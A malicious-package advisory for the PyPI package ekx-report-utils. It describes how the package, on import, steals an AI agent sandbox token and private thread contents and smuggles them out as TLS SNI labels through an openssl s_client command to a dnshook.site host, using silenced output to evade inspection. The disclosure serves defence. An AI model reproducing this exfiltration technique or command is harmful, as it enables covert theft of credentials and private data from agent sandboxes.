MAL-2026-14555

Summary: Malicious code in ekx-report-utils (PyPI)

Details: Source: amazon-inspector (a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78) On import, the package runs a `_setup()` routine that reads a session credential from `/tmp/.sandbox_token` and issues an authenticated GET to `${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads` using an `x-sandbox-token` header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking `openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief` with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on `from ekx_report_utils import...` with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-ekx-report-utils Reasons (based on the campaign): - targetted-attack - exfiltration-generic - exfiltration-credentials
